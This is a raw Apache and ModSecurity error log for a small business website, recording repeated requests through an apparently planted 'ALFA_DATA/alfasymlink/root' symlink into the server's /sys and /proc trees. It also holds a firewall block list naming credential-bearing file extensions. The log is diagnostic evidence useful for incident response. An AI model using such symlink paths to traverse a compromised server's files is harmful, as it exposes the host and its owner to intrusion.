[Sat Oct 24 18:24:42.987464 2026] [core:error] [pid 2707162:tid 2707162] (13)Permission denied: [client 44.205.192.249:15677] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:01.1/subsystem/drivers/virtio-pci/0000:00:05.0/subsystem/drivers/piix4_smbus/bind
[Sat Oct 24 18:24:46.757795 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 52.23.112.144:45903] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:24:51.043572 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 54.147.238.89:2782] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:24:58.763544 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 3.235.215.92:4132] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:25:02.766128 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 44.205.192.249:28915] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:25:06.840536 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 54.225.148.123:55035] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:25:10.890679 2026] [core:error] [pid 2707162:tid 2707162] (13)Permission denied: [client 52.73.6.26:31455] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/memory16/subsystem/devices/memory6/node0/cpu0/crash_notes_size
[Sat Oct 24 18:25:15.002455 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 52.70.138.176:22508] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:25:18.758993 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 54.225.98.148:7323] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:25:20.563438 2026] [core:error] [pid 2692918:tid 2692918] (13)Permission denied: [client 85.208.96.201:63064] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip_mrt_cache/order
[Sat Oct 24 18:25:23.554472 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 52.203.65.83:54067] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:25:23.874382 2026] [core:error] [pid 2707149:tid 2707149] (13)Permission denied: [client 185.191.171.16:49786] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip4-frags/aliases
[Sat Oct 24 18:25:28.581657 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 35.174.253.85:9359] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:25:30.727195 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 107.23.62.75:53725] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:25:34.714361 2026] [security2:error] [pid 2707162:tid 2707162] [client 23.21.227.240:5818] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/event3/subsystem/input5/device/subsystem/devices/pcspkr/driver/"] [unique_id "at0wXnxUk1Q9Uwuht9UDCgAAAAE"]
[Sat Oct 24 18:25:34.714405 2026] [security2:error] [pid 2707162:tid 2707162] [client 23.21.227.240:5818] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/event3/subsystem/input5/device/subsystem/devices/pcspkr/driver/"] [unique_id "at0wXnxUk1Q9Uwuht9UDCgAAAAE"]
[Sat Oct 24 18:25:38.772605 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 3.211.105.134:10241] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:25:42.959783 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 52.202.52.82:36061] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:25:46.830947 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 3.226.106.93:61077] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:25:50.773240 2026] [ssl:error] [pid 2707149:tid 2707149] (5)Input/output error: [client 18.210.58.238:26500] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:26:06.758296 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 52.0.41.164:47514] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:26:10.875650 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 44.205.180.155:1819] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:26:14.882217 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 34.234.206.30:63858] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:26:18.963126 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 18.206.47.187:19472] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:26:22.579682 2026] [core:error] [pid 2693020:tid 2693020] (13)Permission denied: [client 52.71.203.206:23517] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:05/wakeup/wakeup5/device/physical_node/driver/0000:00:05.0/virtio2/driver/module/uevent
[Sat Oct 24 18:26:34.683191 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 184.73.167.217:50431] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:26:39.464185 2026] [core:error] [pid 2692918:tid 2692918] (13)Permission denied: [client 85.208.96.194:63598] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_allocation_context/objs_per_slab
[Sat Oct 24 18:26:42.474164 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 50.16.72.185:27385] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:26:46.600638 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 52.204.81.148:4666] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:26:50.464429 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 3.90.73.206:51629] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:26:54.526647 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 18.214.251.19:61551] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:27:02.343464 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 34.224.132.215:6460] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:27:06.452552 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 3.216.13.10:19086] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:27:10.296559 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 98.82.38.120:5020] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:27:14.308212 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 44.223.193.255:25472] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:27:30.203286 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 184.73.47.24:11989] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:28:10.194135 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 50.16.248.61:34442] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:28:17.953612 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 185.191.171.11:23516] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-2k/validate
[Sat Oct 24 18:28:18.193880 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 44.221.105.234:53604] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:28:22.205522 2026] [core:error] [pid 2677776:tid 2677776] (13)Permission denied: [client 52.1.106.130:22739] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory22/node0/memory2/node0/cpu1/driver/cpu0/firmware_node/subsystem/drivers/hardware_error_device/unbind
[Sat Oct 24 18:28:30.191727 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 52.3.156.186:26815] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:28:38.267524 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 34.235.239.240:46683] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:28:46.381326 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 23.21.227.240:13194] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:28:58.203774 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 52.54.95.127:16655] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:29:02.174033 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 3.220.148.166:18372] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:29:10.196349 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 34.194.14.255:23655] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:29:14.261214 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 18.213.102.186:17569] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:29:18.281853 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 52.22.87.224:45513] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:29:22.235299 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 44.216.172.204:1265] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:29:26.341723 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 100.28.204.82:48385] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:29:30.255769 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 100.24.167.60:59498] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:29:34.165500 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 3.229.2.217:32439] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:29:38.157118 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 18.207.89.138:25353] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:30:10.164005 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 23.22.105.143:20056] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:30:14.156297 2026] [ssl:error] [pid 2692979:tid 2692979] (5)Input/output error: [client 44.197.76.210:56831] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:30:18.247847 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 18.215.77.19:18140] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:30:20.098244 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 185.191.171.4:56146] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:30:26.166352 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 3.219.80.71:11384] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:30:30.305096 2026] [ssl:error] [pid 2693017:tid 2693017] (5)Input/output error: [client 23.21.250.48:61872] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:30:38.193775 2026] [core:error] [pid 2693020:tid 2693020] (13)Permission denied: [client 44.196.118.6:45140] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/wakeup/wakeup1/device/subsystem/devices/device:04/physical_node/driver/0000:00:05.0/driver/0000:00:03.0/resource4
[Sat Oct 24 18:30:42.991524 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 185.191.171.15:44198] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:30:44.197394 2026] [core:error] [pid 2677776:tid 2677776] (13)Permission denied: [client 85.208.96.202:40430] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inotify_inode_mark/store_user
[Sat Oct 24 18:30:46.218560 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 98.82.59.253:2531] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:30:50.168101 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 23.21.228.180:4966] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:30:54.291206 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 100.28.133.214:32905] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:30:58.174559 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 52.73.6.26:4676] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:31:02.226757 2026] [core:error] [pid 2707149:tid 2707149] (13)Permission denied: [client 44.213.36.21:28425] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:03/physical_node/subsystem/drivers/cirrus/new_id
[Sat Oct 24 18:31:10.165652 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 34.225.243.131:25310] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:31:14.174602 2026] [security2:error] [pid 2677776:tid 2677776] [client 54.225.181.161:4906] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/LNXCPU:00/physical_node/node0/memory4/node0/memory19/"] [unique_id "at0xsmZJIyiQiKFtr2-71AAAABU"]
[Sat Oct 24 18:31:14.174660 2026] [security2:error] [pid 2677776:tid 2677776] [client 54.225.181.161:4906] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/LNXCPU:00/physical_node/node0/memory4/node0/memory19/"] [unique_id "at0xsmZJIyiQiKFtr2-71AAAABU"]
[Sat Oct 24 18:31:30.157451 2026] [ssl:error] [pid 2693020:tid 2693020] (5)Input/output error: [client 34.227.156.153:64096] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:31:42.167008 2026] [core:error] [pid 2693017:tid 2693017] (13)Permission denied: [client 52.3.104.214:29533] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/node0/memory14/node0/memory12/subsystem/drivers_probe
[Sat Oct 24 18:32:06.296225 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 3.223.181.32:22876] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/0000:00:04.0/subsystem/drivers_probe
[Sat Oct 24 18:32:14.158685 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 44.194.134.53:47054] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:00/physical_node/subsystem/drivers/cirrus/0000:00:02.0/driver/remove_id
[Sat Oct 24 18:32:18.170113 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 54.84.161.62:41947] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:32:42.156550 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 52.7.13.143:7400] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:32:50.328707 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 52.3.156.186:34154] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:32:58.137364 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 23.21.227.240:16243] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/event3/subsystem/input5/device/subsystem/drivers/intel_rapl_msr/bind
[Sat Oct 24 18:33:02.213132 2026] [core:error] [pid 2707149:tid 2707149] (13)Permission denied: [client 18.215.77.19:16848] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:05/subsystem/devices/device:06/physical_node/driver/unbind
[Sat Oct 24 18:33:03.064866 2026] [core:error] [pid 2677776:tid 2677776] (13)Permission denied: [client 85.208.96.205:28478] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-32/validate
[Sat Oct 24 18:33:06.348085 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 54.204.62.163:9782] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:33:18.253960 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 52.202.52.82:57775] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:33:28.404424 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 185.191.171.9:41518] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/biovec-max/partial
[Sat Oct 24 18:33:38.145001 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 3.217.171.106:24168] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0400:00/subsystem/devices/PNP0A03:00/device:1c/eject
[Sat Oct 24 18:33:46.172782 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 52.2.4.213:30691] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:33:50.213831 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 52.45.29.57:63749] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:34:14.201657 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 54.84.93.8:34654] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:34:16.975814 2026] [security2:error] [pid 2693017:tid 2693017] [client 85.208.96.199:11702] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/pcm/center_lfe.conf"] [unique_id "at0yaCvtCA9Mk3h2rl2k7wAAABM"]
[Sat Oct 24 18:34:16.976201 2026] [security2:error] [pid 2693017:tid 2693017] [client 85.208.96.199:11702] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/pcm/center_lfe.conf"] [unique_id "at0yaCvtCA9Mk3h2rl2k7wAAABM"]
[Sat Oct 24 18:34:16.976525 2026] [security2:error] [pid 2693017:tid 2693017] [client 85.208.96.199:11702] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/pcm/center_lfe.conf"] [unique_id "at0yaCvtCA9Mk3h2rl2k7wAAABM"]
[Sat Oct 24 18:34:18.545585 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 3.213.85.234:55557] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:34:22.170623 2026] [core:error] [pid 2693020:tid 2693020] (13)Permission denied: [client 18.211.148.239:62883] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/PNP0A03:00/device:1d/eject
[Sat Oct 24 18:34:26.346226 2026] [core:error] [pid 2692979:tid 2692979] (13)Permission denied: [client 100.24.149.244:45335] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:0d/subsystem/drivers/ac/bind
[Sat Oct 24 18:34:41.662115 2026] [core:error] [pid 2707162:tid 2707162] (13)Permission denied: [client 85.208.96.199:29570] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/dev/char/4:65/iomem_reg_shift
[Sat Oct 24 18:34:42.150536 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 18.204.152.114:54927] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:34:54.299603 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 54.163.169.168:30759] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:34:58.152010 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 52.4.76.156:30601] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:35:10.128637 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 44.210.213.220:7205] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:35:22.265066 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 34.226.89.140:56567] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:35:26.146204 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 52.23.112.144:13885] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:35:30.176778 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 34.234.206.30:50118] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:35:32.681408 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 85.208.96.204:22122] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/total_objects
[Sat Oct 24 18:35:34.282647 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 34.225.138.57:21688] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:35:42.305783 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 34.239.85.139:27402] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:35:46.293107 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 35.174.141.243:53354] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:35:50.152190 2026] [ssl:error] [pid 2707162:tid 2707162] (22)Invalid argument: [client 18.207.79.144:49434] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:35:50.248892 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 185.191.171.17:12012] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:35:54.176839 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 100.28.118.16:18137] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:36:02.279973 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 52.204.37.237:27281] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:36:14.207725 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 54.197.114.76:46188] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/drivers/pvpanic/bind
[Sat Oct 24 18:36:22.259172 2026] [ssl:error] [pid 2693034:tid 2693034] (5)Input/output error: [client 52.73.6.26:21011] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:36:34.296456 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 44.208.193.63:17961] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:36:38.160326 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 18.235.81.246:9705] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:36:46.408206 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 3.226.106.93:23218] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:36:50.144654 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 52.3.104.214:14440] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:36:54.143072 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 18.206.47.187:44512] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:36:58.194303 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 52.200.93.170:33224] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:37:02.356702 2026] [core:error] [pid 2693020:tid 2693020] (13)Permission denied: [client 52.3.102.51:44538] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/PNP0A03:00/physical_node/0000:00:03.0/resource4
[Sat Oct 24 18:37:04.117223 2026] [core:error] [pid 2677776:tid 2677776] (13)Permission denied: [client 85.208.96.203:32774] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-4k/hwcache_align
[Sat Oct 24 18:37:06.186994 2026] [ssl:error] [pid 2707149:tid 2707149] (22)Invalid argument: [client 98.84.70.201:36363] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:37:14.163678 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 3.219.80.71:27612] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:37:18.151539 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 100.27.153.9:35987] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:37:42.169018 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 44.216.172.204:26174] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:37:46.163145 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 54.83.240.58:28259] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:37:48.173701 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 85.208.96.206:19518] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/hugetlbfs_inode_cache/store_user
[Sat Oct 24 18:37:50.138130 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 44.209.187.99:17398] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:38:18.255875 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 3.94.156.104:14094] AH02013: coalesce failed to read from data bucket
